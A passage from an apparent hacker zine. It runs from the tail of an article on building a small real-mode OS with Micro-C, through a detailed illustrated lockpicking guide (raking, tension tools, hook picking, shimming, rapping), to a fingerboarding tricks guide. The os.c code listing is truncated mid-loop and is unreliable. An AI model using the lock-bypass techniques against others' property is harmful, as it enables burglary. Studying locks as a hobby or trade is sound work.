by the thought of being able to leverage the Micro- C compiler. However, as you will see, most of the set up work was done via in-line assembly. Only small portions were pure C. This is the nature of initializing an OS. Key memory and task management functions are anchored directly to the hardware, and the best that you can hope for is to bury the assembly code deep in the bowels of the OS and wrap everything in C. Here is the system code (os.c), in all its glory: /* os.c ----------------------------------------------------------------*/ void printBiosCh(ch) char ch; { /* ch = BP + savedBP + retaddress = BP + 4 bytes */ asm "MOV AH,0EH"; asm "MOV AL,+4[BP]"; asm "INT 10H"; return; }/*end printBiosCh---------------------------------------*/ void printBiosStr(cptr,n) char* cptr; int n; { int i; for(i=0;i osPre.asm Note, mcp is Micro-C's pre-processor. Chuck it all in one 16-bit segment: convert osPre.asm Once I had an .ASM file in my hands, I assembled it: ML /Fllist.txt /AT /Zm -c osPre.asm Note how I've had to use the /Zm option so that I can assemble code that obeys conventions intended for earlier versions of MASM. This step is typically where the problems occurred. Needless to say, I became tired of fixing up segment prefixes rather quickly and that is what led me to write convert.c. Finally, after a few tears, I linked the OS object file to one of Micro-C's object files. LINK os.obj PC86RL_T.OBJ /TINY If you look back at convert.c, you'll see a whole load of EXTRN directives. All of these imported symbols are math libraries that are located in the PC86RL_T.OBJ file. If you have a copy of NASM on your machine, you can verify your work with the following command: ndisasmw -b 16 os.com This will dump a disassembled version of the code to the screen. If you want a more permanent artifact, then use the listing file option when you invoke ML.EXE: ML /AT /Zm /Fl -c os.asm Once you have the OS and boot sector code built. You should burn them on to the boot floppy. You can do so with the DOS debug utility. C:\DOCS\OS\lab\final>debug boot.com -l -w cs:0100 0 0 1 -q C:\DOCS\OS\lab\final>debug os.com -l -w cs:0100 0 1 2 -q After that, you just boot with the floppy disk and hang on! I hope this article gave you some ideas to experiment with. Good luck and have fun. "Contrasting this modest effort [of Seymour Cray in his laboratory to build the CDC 6600] with 34 people including the janitor with our vast development activities, I fail to understand why we have lost our industry leadership position by letting someone else offer the world's most powerful computer." -Thomas J. Watson, IBM President, 1965 "It seems Mr. Watson has answered his own question." -Seymour Cray --[ 4 - References and Credits [1] Operating Systems: Design And Implementation, Andrew S. Tanenbaum, Prentice Hall, ISBN: 0136386776 This book explains how the Minix operating system functions. Linux was originally Linus's attempt at creating a production quality version of Minix. Minix is an Intel OS. [2] MMURTL V1.0, Richard A. Burgess, Sensory Publishing, ISBN: 1588530000 MMURTL is another Intel OS. Unlike Tanenbaum, Burgess dives into more sophisticated topics, like memory paging. Another thing I admire about Burgess is that he'll answer your e-mail without getting snooty like Tanenbaum. If Minix gave birth to Linux, then MMURTL may also be reincarnated as the next big thing. [3] Dissecting DOS, Michael Podanoffsky, Addison-Wesley Pub, ISBN: 020162687X In this book, Podanoffsky describes a DOS clone named RxDOS. RxDOS is presented as a real-mode OS and is written entirely in assembly code. [4] FreeDOS Kernel, Pat Villani, CMP Books, ISBN: 0879304367 Another DOS clone ... but this one is written in C, whew! [5] Virtual Machine Design and Implementation In C/C++, Bill Blunden, Wordware Publishing, ISBN: 1556229038 Yes, it's time for the self-plug. Writing a VM is really only a hop, skip, and a jump, from writing a simulator. My book presents all the information in this article and a whole lot more. This includes a complete virtual machine, assembler, and debugger. [6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell, The Coriolis Group; ISBN: 1588801497 This is an annotated stroll through the task and memory management source code of Linux. [7] The Design and Implementation of the 4.4BSD Operating System, Marshall Kirk McKusick (Editor), Keith Bostic, Michael J. Karels (Editor) Addison-Wesley Pub Co; ISBN: 0201549794 These guys are all deep geeks. If you don't believe me, look at the group photo on the inside cover. This book is a comprehensive overview of the FreeBSD OS. [8] The Undocumented PC : A Programmer's Guide, Frank Van Gilluwe, Addison-Wesley Pub, ISBN: 0201479508 If you're doing I/O on Intel, it truly helps to have this book. [9] Control Data Corporation There are a numerous old fogeys from Control Data that I would like to thank for offering their help and advice. Control Data was killed by its management, but there were a handful of gifted engineers, like Cray, who made sure that some of the good ideas found a home. [10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany and America's Most Powerful Corporation, Edwin Black, Three Rivers Press; ISBN: 0609808990 I originally heard about this through one of Dave Emory's radio broadcasts. Mae Brussell would agree ... profit at any cost is not a good thing. I would like to thank George Matkovitz, who wrote the first message-based kernel in the world, and Mike Adler, a compiler wizard who was there when Cray whipped IBM for sharing their thoughts and experiences with me. |=[ 0x03 ]=--------------------------------------------------------------=| L O C K P I C K I N G BY /< n i g h t m a r e As per usual, I accept no responsibility for your actions using this file; It is only here to show how locksmiths gain access when keys are missing or broken. CONTENTS INTRODUCTION 1 The warded Lock 2 Pin-tumbler lock and wafer locks 3 Wafer locks 4 The tension wrench turning tool 5 Raking pin-tumbler locks and wafer cylinder locks 6 Picking locks without a Turning tool 7 The lock gun 9 Pure picking 10 Opening locks without picking 11 Rapping open locks 12 TOOLS AND APPARATUS INTRODUCTION The main purpose of writing this work is to provide the modern student with an up-to-date, accurate book to enable him to explore the fascinating subject of lock picking. In by gone years, people who were drawn to magic of the lock, were tempted to 'pick locks', and were confronted by obstacles to protect the lock, such as devices which would shoot steel barbs into the picker's hands. vicious toothed jaws were employed to cut off the thief’s fingers. perhaps the most fearsome lock pick deterrent was a devilish device which would fire a bullet if the locking mechanism was tampered with. Books and manuscripts over the years change hands. Unfortunately, in the case of this type of work, it could fall into the wrong hands. However unlike such works as '1001 ways to have fun with a Frankfurter', the person who is merely curious will find this work tiresome and unpalatable, leaving the true enthusiasts to explore the teasing allure of the lock. This unique animal who has ingenuity and patience to follow through the fascinating study, will be rewarded in the knowledge that he is in the elite company that I salute in this work. for the people who argue books on this subject should not be written, I would like to point out that a villain who wishes to gain entry into a property in happier with a brick than a pick. Have fun and enjoy your new hobby or trade ! CHAPTER 1: THE WARDED LOCK Probably the best place to begin this book is at the point at which mass lock manufacture began, with the WARDED LOCK. These locks are generally of simple construction, These are of simple construction and generally, and therefore recommended for the beginner. The dictionary defines 'ward' as 'to guard, keep away, or to fend off', which in reality is exactly what the lock does. (See FIG. 1.) The small circular section is the ward with the wrong type of key attempting to open the lock. Ti is quite obvious that if this key were to be turned, its turning path would be halted by the protruding ward. ___________ ____ __________ ____ ________ ) / \ \ ______ ) / \ \ | _| | | | <-Wards | [ | | | |[ \____/ Bit -> |__[ \____/ FIG. 1 FIG. 2 FIG. 2 shows the correct key which will open the warded lock. It has just the right cuts on the bit to miss the wards. warded locks are found in many forms. FIG. 3 is a normal key, with an intricate patterned bit which would open an old and beautifully designed, elaborate ward lock. At this point, I would like to say that key collecting had become a hobby for many people. Since keys are quite easy to come by, a nice display can soon be obtained. __ / \__.,-,________ \__/--.,-,--------' [] [[ Normal Key FIG. 3 the security of the warded lock was further enhanced by the shape of the key hole, preventing entry to everything apart from the correct key. the extravagant shapes, in both the wards and the key holes, are the only problems which we must overcome in picking open the warded lock. we do this by inserting a pick, which is much thinner than the lock's keyhole, or by using a skeleton key. FIG. 5 shows this best in the case of the skeleton key, which would open the same lock which is in our FIG. 3. This skeleton key has been cut from a blank. The area which would fool the locks ward's has been removed, forming the new key. For the complete newcomer the world of locks, I should explain that the word 'blank' is the name given to the key before it is cut to the desired shape. ______ __.__________ | /\ | __ __ __ __| | || | ' _|| ||_ | \\ | |.-' '-.| | // | || || | C| | skeleton|'-. .-'| | || | key '--' '--' |______| FIG. 4 FIG. 5 FIG. 6 looks inside a typical warded padlock. It is clear that, because of the wards which obstruct the turning, only the correct key (as shown) will open this lock. it is guarded by six, close-fitting wards, and also by the small, thin keyhole. _____ / ___ \ __/ / \ \__ | \___/ | \ / \____ ____/ / \ ______| |______ | __ ( ) __ | .---> | (__| | | |__) | | | < > | Wards ---|---> | ====| |==== | | | ( ) | '---> | =====|_ _|===== | | [[[[(_____)]]]] | | (_) | |_________________| Y Y | | Opening spring FIG. 7 shows how we overcome this lock with a key that has been skeletoned, and which will now open this and many others. This has been achieved by removing all the projections other than the end which comes into contact with the spring-opening point. Take a look and make sure you read and understand this before moving on. __ _ __nn_n/ \_ (_| |______ o_: _ __ _\__/ U UU U FIG. 7 FIG. 8 is a warded pick in it's most simple form - a coil spring with it's end bend and flattened. If the coil is of suitable diameter, it will fit onto the end of your index finger. This forms, as it were, an extension of your finger, and you will find that it is a highly sensitive tool to fell the layout of the interior and so find and trigger the mechanism. This sensitive manipulation can be achieved only with practice. If the spring pick becomes weak or bent simply pull out a new length from the coil and you have a brand new tool. Before we move on, I would suggest that you build up a large set of picks of different sizes. ________________________________________ | ____ | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | |________________________________________| Coil Spring FIG. 8 Look inside as many locks as possible -- it's the finest way of becoming a lock expert. picking locks is a true art form and even more difficult than learning to play a musical instrument proficiently. Here is a useful lock picking set to make: ____ / \_____________| \____/ | ____ / \_____________. \____/ ' ____ / \___________._. \____/ ' ' ____ / \_____________ \____/ | ____ / \___________|_| \____/ | | ____ / \____________.- \____/ '- FIG. 9 In summing up the subject of warded locks, I would say that once you have clearly understood that the wards simply guard the opening, and also that the actual shape of the keyhole prevents the wrong key entering, you are well on the right path to becoming a total master at this type of lock. start looking for warded locks: they are usually older locks or at the cheap end of the market. The most difficult task before the novice must be to identify the particular type of lock he is trying to pick. Is the lock a WAFER or PIN-TUMBLER? Or, in the case of the raw beginner, is the lock a LEVER or PIN-TUMBLER? There is no simple answer. The ability to identify the particular types comes only with practice and study. Open up as many old locks as you can and study the principles, LOOKING ALL THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL locks have weak points. CHAPTER 2: PIN TUMBLER and WAFER LOCKS As in all lock picking, it is an advantage that the student is fully conversant with the basic operation of the lock. In the case of the PIN-TUMBLER and WAFER it is absolutely vital. The number of times I have read leading works on the subject, and then asked myself if I would fully understand how the lock worked from their description ! each book I read failed to explain accurately and precisely how these locks work and can be picked. what follows is my own humble effort to right this wrong. You yourself must judge if I have obtained this objective. When we first look at this type of lock, it would appear that all necessary to insert a small implement into the keyway and give it a turn for the device to open. plainly this is not the case, as we can see when we take a closer look at FIG. 10 This is a typical PIN-TUMBLER lock, and generally consists of pairs of bottom pins made from brass and with the top drivers formed in steel. Commonly, five pairs of pins are found. in the smaller, cheaper models, four are more common. ______________________________ \ K | | | | | | / E | | | | \ Y [|] Upper tumbler pin ^ ^ / H [^] Lower tumbler pin ^ ^ ^ ^ ^ ^ \ O [-] Cylinder wall / L This is a greatly simplified \ E drawing ______________________________/ FIG. 10 _______ Shear Line / ___ \ - - - - -| |///| | <-- Springs / |[ ]|<-\----- Top Drivers Plug\ \ @ /<-/----- Bottom Pins \___|___/ Key FIG. 11 _______ Shear Line / ___ \ - - - - -| |///| | / |[ ]| /\ \ / / / <-- Plug Turning \___///_/ FIG. 11a ________ / \ Shearing Line --> __ _ ___ _ ___ _ ___ / \ A / _ _ _ _ _ \/ /\ \ / |_||_||_||_||_| ___/\ \/ / K \ / \/\/\/\/\/\/\____\/ / E \____________________/\__________/ Y FIG. 12 FIG. 11 is the end-view of the arrangement. Each of the locks shown in FIGS. 10, 11 and 12 are ready to open, since in each case they have been given the right key ready to turn the plug. FIG. 12 shows each of the five bottom brass pins settled into it's own notch along the key. This ha the effect of bringing the point between the drivers and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL FIVE PINS AT THIS HEIGHT, WHICH WE CALL THE SHEAR OR SHEARING LINE, AT THE SAME TIME. All five pins must be in line together, and, when we have this state of affairs, the plug will turn opening the lock. FIG. 11a shows the plug starting to turn. FIG. 11 is an end-view, and shows the shaded plug ready to turn. Make sure you fully understand this before you go on. Most students fail to understand that the bottom brass pins TURN WITH THE PLUG. FIG. 13 shows this. the top holding drivers stay put in the chambers in the outer case. Remember that the bottom pins must turn with the plug because they are contained within unit. It is important to know that if only one notch on the key is even SLIGHTLY wrong, too high or too low, the plug would be prevented from turning, just one pin, sitting into this plug from the outer case, has such an amazing strength that it would be impossible to snap -- such is the power of each little pin. ::::: ___ ##### <-- Top Drivers / \ooooo Plug Turning | \___/===== <' OOOOO <-- Bottom pins FIG. 13 I have cut away the plug in FIG. 13 and the pins can clearly be seen in the turning motion. With all the required points within the lock aligned, the plug must and will turn. However, let us take a look at what would happen if the wrong key were inserted. FIG. 14 shows this, with the top drivers, still inside the plugs, preventing it from turning. The wrong key is just as bad as no key, and the lock stays locked. Chambers ______/___|___\______ | / | \ | | \/ V \/ | | __ __ __ | --------| __ | | | | | | |-------- <-- Shear line Plug --> _|_| |_| |_| |_| |_|_ [ | | | | | | | | | | ] [ | '--' '--' '--' '--' | ] [ | .--. .--. .--. .--. | ] [ | '--' '--' '--' '--' | ] [_|_____________________|_] '---------------------' FIG. 14 FIG. 15 is the end-view, showing the top driver inside the plug, preventing the turning, and the driver just below the shearing line. I have already said that these little drivers are manufactured from steel and are very strong indeed, overcoming any force that a normal wrong key or instrument could present. even if there were only one little driver inside the plug, it would still be unable to rotate, or be snapped at the shear line. Now multiply that strength by five, and I am sure that you will understand it's almost superhuman strength. Before I move on I must explain that there a no skeleton keys which will magically open this lock, or it's brother the WAFER. Note top drivers are inside plug ______ preventing any turning /______\ // == \\ || == || || () || Shearing line --> -----||-[||]-||----- || [==] || \\__##__// ## - Bottom pins \______/ [==] Plug FIG. 15 The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the pick as the notches. Once you have all the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. FIG. 20 shows the top driver inside the chamber binding on three points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied. Chapter 3: WAFER LOCKS FIG. 16 shows a single-sided wafer lock. This type of lock contains WAFERS instead of pins and drivers, and is known as a DISC-TUMBLER instead of a pin tumbler. the wafers, five as in a pin-tumbler, are held in place by a small, light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING, which is explained later in this work. ________ ________ / __ \ / __ \ =| / \ | =| / \ | =| | | | =| | | | /_ \__/ | /_ \__/ | \__ __/ \__ __/ --.\__/.-- __ \__/ __ '----' '____' Locked Unlocked FIG. 16 FIG. 17 Chapter 4: THE TENSION WRENCH TURNING TOOL Probably the single most important factor in lock manipulation is the use of the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it had been given this name in the first place, hundreds of aspiring locksmiths would have had greater instant success. I maintain that the word 'tension' implies that great pressure has to be exerted by this tool. Add to this the word 'wrench' and totally the wrong impression is given. in order that you will fully understand the use of this turning tool, I will explain it's simple function. FIG. 18 shows an normal pin-tumbler or wafer key; FIG. 19 shows the key cut away. This bottom section is now a turning tool. the reality is that the notches along the key would lift the bottom pins level with the shearing line, and the part beneath would turn the plug. ____ ____ ,_^^,^,-.-^. / \,_^^,^,-.-^. / \/'_____________ \____/-----------' \____/---------------' <-- Turning tool FIG. 18 FIG. 19 The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the picks as the notches. Once you have all of the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. The student must first know why too much tension is wrong. FIG. 20 shows the top driver inside the chamber binding on the tree points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied ___________ | ------. <|----Spring | .-----' | Top chamber | '-----. | | .-----' | | _'--_____ | Binding || || | || || V ______|| ||______ ------.|_________|.------ Shear line | | <-- Binding FIG. 20 If you are raking open a lock, no real pressure need be applied because the pins and wafers MUST be free to bounce into line with the shearing line. if too much pressure is used, it prevents this as shown in FIG. 20. Multiply the one shown by, and you can imagine the lock is well and truly bound tight. I have used a lot of words in trying to say what has not been put in print before. | --------------' | .--------------' | TURNING TOOLS FIG. 21 The turning tools are shown in FIG. 21. Once again, I get onto my high horse, and say that it is not necessary to have lots of different turning tools in your kit. it is complete nonsense to have light, medium and heavy tools. Further confusing the is the term used to rigidity of the different types. This is termed the 'weight', but most of my students mistakenly assume the actual weight is important to the turning potential. the best is to choose a medium weight tension wrench and from then on call it a turning tool. If I am not careful I will change the whole lock picking vocabulary. The best and easiest wafer or pin-tumbler locks to open are the ones which contain the smaller pin or wafer sizes together in the same lock, i.e. small pins in each chamber and ideally all about the same length. When this state exists, the method to open the lock is by RAKING. Chapter 5: RAKING PIN-TUMBLER AND WAFER CYLINDER LOCKS The first plan of attack on any lock of this type, whether it is a padlock protected with this locking arrangement, a door on a car or a house, is to try raking. the turning tool fits into the bottom section of the keyway, as shown in FIG. 22, with just the weight of your finger. No visible bend should be seen on the tool, otherwise it will be found impossible to pick open the lock with this method. ________________________ / \ the tools got to / \ be at 45 DEG. / ______ \ parallel like \ / n \ / so: // \ ********@____/ / \ / / *** the pick \ / / / turning tool \____/_______________/ FIG. 22 Using the picks shown in FIG. 23, we rake the lock, as we shall explain later, starting with pick number one and working up through until you open the lock. Perhaps, before we get down to the actual method of raking, we had better take a close look at the make-up of this tool, known as a RAKE. Look again at FIG. 23. Notice that 1B is just the same as 1A except that it has been cut in half, giving the half double ball. 1C is a silhouette of them both. If we look closely at 2A, 2B and 2C, we find they are arranged just the same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their shape. There seems to be no reason for A, B and C in each of the groups 1, 2 and 3 other than, in the case of the diamonds, for use in smaller locks. Don't let the different sizes bother you, but just use whatever you have in your set. RAKING TOOLS FIG. 23 1A 1B 1C | - | / | /| \ / \ / \ / \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |_| |_| |_| Double Half Silhouette Ball Double Double Rake Ball Rake Ball Rake 2A 2B 2C o | o / /\ \ | / \ / \ / \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |__| |_| |_| Full single Half Single Silhouette Ball Rake Ball Rake Single Ball Rake 3A 3B 3C < <| _ |> | <| | /_| || Handy | /| | || || Double /| / | /| 4 || || Ended | | | | | | || || Rake | | | | | | || || | | | | | | || || | | | | | | / \ || | | | | | | | | \\ |_| |_| |_| /____\ // 3 Diamond Rakes In FIG. 23 I have included a number 4, which is sometimes mistaken by students for a raking tool, but which is, in fact, a broken key extractor, and has nothing to do with raking. I have shown it's end in close up in the illustration so that there can be no mistake. The number 5 is a double-ended rake, which combines on one end a diamond and on the other a silhouette double ball. HOW RAKING WORKS While we are taking a close look at things, it is a good time to do the same thing with the action of raking, in order that you will fully understand how it works. Select any of the number 1 raking tools (FIG. 23), and insert it into the lock so that it touches the back of the lock and is in contact with the back bottom pin of the lock. The pick is then drawn from the back of the lock very quickly (see FIG. 24). Rake is pulled out causing top driver and bottom pin to ===== ===== ===== ===== ===== vibrate about the ===== ===== ===== ===== ===== shear line. .---. .---. .---. .---. .---. | ^ | | | | | | | | | | | | Shearing | | | | | | | | | V | Shearing Line ______ '---' '---' '---' '---' '---' _____ Line .---. .---. .---. .---. .---. Front of | | | | | | | | | ^ | Back Lock '---' '---' '---' '---' '-v-'_ of the /-\_________________________________________/ \ (______________________________________________/ Rake being pulled out <--------------- This action has the effect of causing all the pins, which have been in contact momentarily with the rake's passage out of the cylinder to vibrate, each pin lifts the top driver out of the plug with this vibrating momentum given> The whole thing is really a bit hit and miss, because some of the top drivers will be out will others are still holding the plug. We must repeat with the same rake about twenty times, and only if unsuccessful then move on to another, following the pattern outlined in FIG. 23. When we rake a lock, we are raising the pins inside the lock to the shear line. moving through the different shaped picks varies the pattern of the lift as the tool is repeatedly drawn out. The pins and drivers are bouncing about the shear line, just waiting to please you and be at the right height to open as you turn with your turning tool, which has been in place throughout. I MUST STRESS THAT THE TURNING TOOL HAS NOT BEEN EXERTING A CONSTANT TURNING PRESSURE, OTHERWISE THE PINS WOULD BIND, AS SHOWN IN FIG. 20. The pressure exerted is best described as a pulsating one. Gentle pressure must only be on as the rake is leaving the lock on the way out. No pressure is on as the pins are vibrating. The pins vibrate and the pulsating turning tool turns the plug, so opening the lock. If too much pressure is applied at the opening wrong moment, binding takes place and picking is impossible. Normally, I first test a lock by inserting my Turing tool into the lock, turning it in both directions. Any slight movement tells me a few things about the locks without actually seeing inside it. If has a lot of movement in each direction, then it is going to be an easy lock to open. Its general condition tells me if it is an old, worn or cheap lock. if you find little movement an the lock is known to be a good one, then it is going to take a little longer or require another technique. Chapter 6: PICKING LOCKS WITHOUT A TURNING TOOL A useful tip, for those long practice sessions or demonstrations, is to bend the connecting cam downwards as shown in FIG. 25. If the lock is held as shown in FIG. 26 you will find that it eliminates the use of the turning tool. My advice to the beginner is to try raking with the index finger, pulsating on the lock's cam. _ ( )----------. | |__________|____ | | )_ | | ) | | )____ | | LOCK )---.| | | _) ^|| | | ___) / || | | | / '' <-- Cam (_)-----------' BEND FIG. 25 _ / \____ Finger provides / \ \_) <----- turning /___/-\ \ / / (__) _||_ (____) || || || || || || FIG. 26 '' Pick held in other hand Another practice tip is to remove two sets of pins and drivers, leaving three sets within the lock, thereby reducing the strength and making it a little easier to manipulate. Chapter 7: THE LOCK GUN This useful tool is really a super raking device. pulling the trigger causes the needle probes to flick upwards, and this has the effect of bouncing the pins about the shearing line. this tool is capable of producing a continuous vibration of the pins, making picking easy. It is a useful tool, and a nice addition to your toolkit. The gun is shown in FIG. 27. _______/\ <.|- \__ \ \_______ \ |_/ / . _____| =[] / | \\ \ / / \\ \__ / . / (| |_____/ .------ Lock Gun | FIG. 27 Chapter 8: THE LOCK MASTER Before we leave raking, perhaps we had better look at my own invention, the LOCK MASTER, which has certain advantages over the lock gun, and even more disadvantages. That said, its main advantage is a big one -- it completely eliminates the need for a turning tool. Its bottom section has its own turning tool built in. FIG. 28 shows the tool. the top is flicked with the index finger nail, and the probe is returned to the horizontal by means of two small springs. the finger snaps away while the master is twisted, again in the pulsating fashion. The main disadvantage is that you have to have different LOCK MASTERS for different size lock. ________________ /----------#-(.)-\- ___________#_(.)_ (______________ )____ Lock Master /\__) \ | | \________/ FIG. 28 Chapter 9: PURE PICKING I like to think of my next section as 'pure picking', because that is precisely what we do. Each pin is lifted in turn, lifting the driver clear of the plug. Remember that earlier I advised the beginner to remove a couple of set of pins and drivers. This is perhaps when you will find this most useful. Turning is applied by the turning tool, or my own bent cam motion. The HOOK PICKS shown in FIG. 29 are used. Pure picking ------------------- --. \ Top __ __ __ | | Chambers |==||==||==| / \ / \ '-------> |==||==||--| | | | | ____|--||--|'--|___ <--- Shear Line | | | | '--''--'.__. | | | | .--..--.| | | | | | '--''--''--' | | | | ( )_______________ | | | | \_______________/ | | | | ___________________ | | | | Hook lifting Pin to '-' '-' Shearing Line Hook Picks FIG. 30 FIG. 30 It requires a fair measure of practice, and even more patience, but the rewards once you are a master of this technique are more than words can convey. Using whatever method you choose to turn the plug, FIG. 30 shows the pick lifting the pins one at a time until they are pushed out of the plug into the top chambers. All the time, a very gentle turning motion has been applied by means of the turning tool. FIG. 31 shows the lock set to open. Set to open ___ ___ ___ | = || = || = | |.-.||.-.||.-.| Notice how the Shear line ___|'-'||'-'||'-'|___ bottom pins line _ _ _ <--------- up precisely on | | | | | | the shear line '-' '-' '-' FIG. 31 ____________ U----(____________) Small ____________ \----(____________) Medium ____________ |____(____________) Large Three sizes of Hook Picks FIG. 32 Use the correct size of hook pick, by first trying the smallest. see FIG. 32. Practice this, and you will have a gem. Chapter 10: OPENING LOCKS WITHOUT ACTUAL PICKING FIG. 33 some points of attack which you will find convenient, and which have been unknowingly built into the lock's construction by the manufacturer. The method is known as shimming. FIG. 34 shows a collection of springs and probes. go along to your local watchmaker and obtain as many as you can. Add to this blades from junior hacksaws, coping and fretsaws and you will soon have a fine collection. FIG. 33 ________ X X / ______ \ / \ / / \ \ \__/ /________\ \__ |\ |_|_------ | | | | |_,-.----.#| | | X----|--| ||_.--._||=| | | '-' .-''-. |=| | | | | |=| | | | | |=| | | '----' '=' | |__________________| Old Clock springs _____________ ________________ _________________ |_____________| [________________]'-----------------' Small,Med,Large Saw Blades ____________\_ ______________) -----------------, __________________ \ VVVVVVVVVVVVVVVVV vvvvvvvvvvvvvvvvvv' FIG. 34 Taking advantage of the lock's weak points, we insert our clock spring or saw blade between the point where the two halves of the lock case meet, or down the side of the shackle, following the line of the bow, and so pushing back the spring-loaded bolt. CHAPTER 11: RAPPING OPEN LOCKS Look at my FIG. 35, which shows a pin-tumbler lock about to be opened by rapping. the blow must be sharp but not heavy. ___ Sharp | | Blow FIG. 35 _| |_ \ / Pins \ / __ line up \ / | | on the ________V_____| | Shear Line Blow causes | __ _ _ _ _ | the pins and | |==||=|=|=|=| | drivers to |-|V ||V|V|V|V|___| Shearing vibrate -----| |^ ||^|^|^|^| |------- | |V ||V|V|V|V| | Line | |--||-|-|-|-| | | '--''-'-'-'-' | '______________ | | | |__| How Rapping works The blow should be only to the point shown. It has the effect of causing the pins to vibrate and to split at the shearing line, as in raking and the lock gun methods. Just as in the other methods, we use the turning tool together with the pulsating movement. Try rapping open a spring-loaded bow (shackle) padlock before you try a pin-tumbler or wafer lock. (See FIG. 36) ______ /,^--. \ __ __/ / / \___/ / / / ---. __ \ / _/ ( \ / C. / \ \ \\ (o) / <--- Sharp blow at this \ \, | / point opens the lock \___________/ Vibration causes lock to open like magic TOOLS AND APPARATUS FOR USE IN LOCK PICKING 1 Small vice, from watchmaker's suppliers, with 2" jaws. 2 A selection of small files, from watchmaker's suppliers. 3 A junior hacksaw from hardware stores. 4 A selection of saw blades, from hardware stores. 5 Leaf gauges, from a garage. 6 Piano wire, from music shop. 7 Lock picks, from locksmiths. 8 Old clock springs, from local watchmaker. 9 Wire cutters, from hardware stores. 10 Collection of blank keys, from locksmiths. 11 Lock gun from locksmiths. 12 Oil, from hardware stores. 13 Lots of old locks, from friends. 14 Pencil torch. 15 Strong magnifying glass. 16 Patience, and a bottomless coffee pot. Get together as many locks of all types as possible. ask your friends if they can find you any old locks for which they have lost the keys. After experimenting with the locks, open them up to find out how they work. This is the finest way to becoming a true lock expert. If you are beaten by a particular lock, don’t despair. I know the feeling all to well. it's back to the drawing board, or, more correctly, the workshop. Open it up, study it's workings, then re-assemble. always LOOK FOR ITS WEAK POINTS. believe me, it will have some; you just have to look long enough and hard enough. Locks are like a chain, as strong as the weakest link. |=[ 0x04 ]=--------------------------------------------------------------=| Spyke's Beginner Guide 2 FFF III N N GGG EEE RRR BBB OOO AAA RRR DD III N N GGG F I NN N G E R R B B O O A A R R D D I NN N G FFF I N NN G EEE RRR BBB O O AAA RRR D D I N NN G F I N N G G E RR B B O O A A RR D D I N N G G F III N N GGG EEE R R BBB OOO A A R R DD III N N GGG ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- (Like anyone wants to know.. Just somin' to do in your Spare time!) ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Sections -------- 1. How to perform ollies 2. How to perform Backflips 3. How to perform shuv-its (in air) 4. How to perform Grinds 4.1 Boardslide 4.2 Darkslide 5. How to get a fingerboard ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 1. How to perform ollies ================================== The ollie is possibly the first fingerboarding trick in which you should learn. It allows you to pop your finger- board into the air with your fingers allowing you to jump Onto OR over (small) objects. the first part of the ollie is to put you fingers in the correct possition (as you can see in {Fig. A}) with one finger flat on the tail and another right behind were the trucks are on the top. {Fig. A} Key ------- F=Finger \=Left Tail 0=Wheel /=Right Tail ^=Trucks _=Part of deck \____F__________F/ ^0^ ^0^ Next you hit the tail (with the finger that is placed on on the tail) lift hand and push forwards. After practice you //should// be able to get the board into the air a few inchs ({Fig. B}). {Fig. B} | 0\F \ \ \ \ 0\_F ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 2. How to perform Backflips ===================================== The back flip on a finger board if diffurent to a backflip on a skateboard in the way that your fingers do not flip 360 degrees verticly (That would break your wrist) but they hover above the board while it flips. Firstly put your fingers into the ollie postition (Shown above in {Fig. A}), and hit the tail hard. Quickly lift your fingers up into the air and the board //should// flip in the air verticaly. Now for the hard bit : wait until the board flips 360 degrees then drop your fingers so it lands the correct way up,this movemnt has to be farely fast to work. ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 3. How to perform shuv-its (in Air) ============================================= The shuv-it (in Air) is were you ollie your board so it spins 180 degrees horizontaly. To do this trick you must place your fingers in the ollie postition but with the tail-finger on the side on the board, not the middle (Shown in {Fig. C}), next you ollie but when you hit the tail you also turn you hand a little bit. {Fig. C} ______________________F / . . . . \ | . .F . . | \_______________________/ When the board is (hopefully) spinning in the air hit it down after it has made a full 180 degree turn. ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 4. How to perform Grinds ================================== To grind, ollie the board onto the edge of somthing OR onto a pencil of bar. Section : 4.1 Boardslide ------------------------ Ollie the board and turn it 90 degrees in the air onto a thin object/edge of somthing then, push smoothly across (Refer to {Fig. D}), to land push the board off the object and turn 90 degrees back to the orginal position. {Fig. D} _ /F\ |. .| |. .| | | -------| |------- -------| |--------Grinding Object | F | |. .| |. .| \_/ Section : 4.2 Darkslide ----------------------- The darkslide is a grinding trick were you flip the board upside down, grind it upside down, then flip it the correct way up. It is technically an upside-down Boardslide. Firstly put your fingers into an ollie postition and move the board towards the grinding objects, when you are close annouf to ollie onto it, flip your board 180 degrees so it is upside down, and push it onto the grinding object. Push it forwards assuming pressure to the front, when you get to the end of the grinding object attemp to flip the board the correct way up. Section : 5 How to get a fingerboard ==================================== Search in some local shops near you or buy them online from: http://www.skateboard.com/techdeckshop/ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12 |=-----=[ Handling Interrupt 